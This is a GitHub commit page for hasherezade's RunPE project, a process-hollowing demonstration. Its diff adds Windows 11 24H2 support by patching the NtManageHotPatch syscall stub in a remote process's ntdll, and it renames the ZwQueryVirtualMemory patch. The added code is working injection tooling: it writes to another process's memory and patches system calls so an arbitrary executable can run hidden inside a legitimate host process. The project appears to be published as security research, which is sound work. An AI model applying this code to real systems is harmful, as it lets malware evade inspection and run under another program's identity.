Skip to content

Commit

Permalink
[FEATURE] In RunPE (32-bit): added support for Win11 24H2 with hotpat…
Browse files Browse the repository at this point in the history
…ching enabled (Issue #59)
  • Loading branch information
hasherezade committed Feb 6, 2025
1 parent 2e055fc commit 900a22a
Show file tree
Hide file tree
Showing 4 changed files with 55 additions and 11 deletions.
2 changes: 1 addition & 1 deletion run_pe/main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
#include <tchar.h>
#include "run_pe.h"

LPCTSTR version = TEXT("0.1.8");
LPCTSTR version = TEXT("0.1.9");
bool g_PatchRequired = false;

bool isWindows1124H2OrLater()
Expand Down
52 changes: 45 additions & 7 deletions run_pe/patch_ntdll.cpp
Original file line number Diff line number Diff line change
@@ -1,12 +1,53 @@
#include "patch_ntdll.h"
#include <peconv.h>

bool patch_hotpaching_func64(HANDLE hProcess)
bool patch_NtManageHotPatch32(HANDLE hProcess)
{
HMODULE hNtdll = GetModuleHandleA("ntdll");
if (!hNtdll) return false; // should never happen

DWORD oldProtect = 0;
const SIZE_T stub_size = 0x20;

const BYTE hotpatch_patch[] = {
0xB8, 0xBB, 0x00, 0x00, 0xC0, // mov eax,C00000BB -> STATUS_NOT_SUPPORTED
0xC2, 0x10, 0x00 // ret 10h
};
ULONG_PTR _NtManageHotPatch = (ULONG_PTR)GetProcAddress(hNtdll, "NtManageHotPatch");
if (!_NtManageHotPatch) {
return false;
}
ULONG_PTR stub_ptr = (ULONG_PTR)_NtManageHotPatch;

if (!VirtualProtectEx(hProcess, (LPVOID)stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) {
return false;
}
BYTE stub_buffer_orig[stub_size] = { 0 };
SIZE_T out_bytes = 0;
if (!ReadProcessMemory(hProcess, (LPVOID)stub_ptr, stub_buffer_orig, stub_size, &out_bytes) || out_bytes != stub_size) {
return false;
}
// confirm it is a valid syscall stub:
if (stub_buffer_orig[0] != 0xB8) {
return false;
}
if (!WriteProcessMemory(hProcess, (LPVOID)stub_ptr, hotpatch_patch, sizeof(hotpatch_patch), &out_bytes) || out_bytes != sizeof(hotpatch_patch)) {
return false;
}
if (!VirtualProtectEx(hProcess, (LPVOID)stub_ptr, stub_size, oldProtect, &oldProtect)) {
return false;
}
return true;
}

bool patch_NtManageHotPatch64(HANDLE hProcess)
{
HMODULE hNtdll = GetModuleHandleA("ntdll");
if (!hNtdll) return false; // should never happen

DWORD oldProtect = 0;
const SIZE_T stub_size = 0x20;

const BYTE hotpatch_patch[] = {
0xB8, 0xBB, 0x00, 0x00, 0xC0, // mov eax,C00000BB -> STATUS_NOT_SUPPORTED
0xC3 //ret
Expand All @@ -25,7 +66,7 @@ bool patch_hotpaching_func64(HANDLE hProcess)
return false;
}
ULONG_PTR stub_ptr = (ULONG_PTR)_NtManageHotPatch;
DWORD oldProtect = 0;

if (!VirtualProtectEx(hProcess, (LPVOID)stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) {
return false;
}
Expand All @@ -47,7 +88,7 @@ bool patch_hotpaching_func64(HANDLE hProcess)
return true;
}

bool apply_ntdll_patch64(HANDLE hProcess, LPVOID module_ptr)
bool patch_ZwQueryVirtualMemory(HANDLE hProcess, LPVOID module_ptr)
{
#ifndef _WIN64
return false;
Expand All @@ -56,6 +97,7 @@ bool apply_ntdll_patch64(HANDLE hProcess, LPVOID module_ptr)
if (!hNtdll) return false; // should never happen

ULONGLONG pos = 8;
DWORD oldProtect = 0;
const SIZE_T stub_size = 0x20;

ULONG_PTR _ZwQueryVirtualMemory = (ULONG_PTR)GetProcAddress(hNtdll, "ZwQueryVirtualMemory");
Expand All @@ -64,7 +106,6 @@ bool apply_ntdll_patch64(HANDLE hProcess, LPVOID module_ptr)
}
ULONG_PTR stub_ptr = (ULONG_PTR)_ZwQueryVirtualMemory - pos;

DWORD oldProtect = 0;
if (!VirtualProtectEx(hProcess, (LPVOID)stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) {
return false;
}
Expand Down Expand Up @@ -140,9 +181,6 @@ bool apply_ntdll_patch64(HANDLE hProcess, LPVOID module_ptr)
if (!VirtualProtectEx(hProcess, (LPVOID)patch_space, stub_size, PAGE_EXECUTE_READ, &oldProtect)) {
return false;
}
if (!patch_hotpaching_func64(hProcess)) {
return false;
}
return true;
#endif
}
4 changes: 3 additions & 1 deletion run_pe/patch_ntdll.h
Original file line number Diff line number Diff line change
Expand Up @@ -2,4 +2,6 @@

#include <windows.h>

bool apply_ntdll_patch64(HANDLE hProcess, LPVOID module_ptr);
bool patch_NtManageHotPatch32(HANDLE hProcess);
bool patch_NtManageHotPatch64(HANDLE hProcess);
bool patch_ZwQueryVirtualMemory(HANDLE hProcess, LPVOID module_ptr);
8 changes: 6 additions & 2 deletions run_pe/run_pe.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -231,7 +231,7 @@ bool _run_pe(BYTE *loaded_pe, size_t payloadImageSize, PROCESS_INFORMATION &pi,
std::cerr << "Redirecting failed!\n";
return false;
}
if (!is32bit && g_PatchRequired && !apply_ntdll_patch64(pi.hProcess, remoteBase)) {
if (!is32bit && g_PatchRequired && !patch_ZwQueryVirtualMemory(pi.hProcess, remoteBase)) {
std::cout << "ERROR: failed to apply the required patch on NTDLL\n";
}
std::cout << "Resuming the process: " << std::dec << pi.dwProcessId << std::endl;
Expand Down Expand Up @@ -310,7 +310,11 @@ bool run_pe(IN LPCTSTR payloadPath, IN LPCTSTR targetPath, IN LPCTSTR cmdLine)
free_pe_buffer(loaded_pe, payloadImageSize);
return false;
}

#ifndef _WIN64
patch_NtManageHotPatch32(pi.hProcess);
#else
patch_NtManageHotPatch64(pi.hProcess);
#endif
//3. Perform the actual RunPE:
bool isOk = _run_pe(loaded_pe, payloadImageSize, pi, is32bit_payload);
//4. Cleanup:
Expand Down

0 comments on commit 900a22a

Please sign in to comment.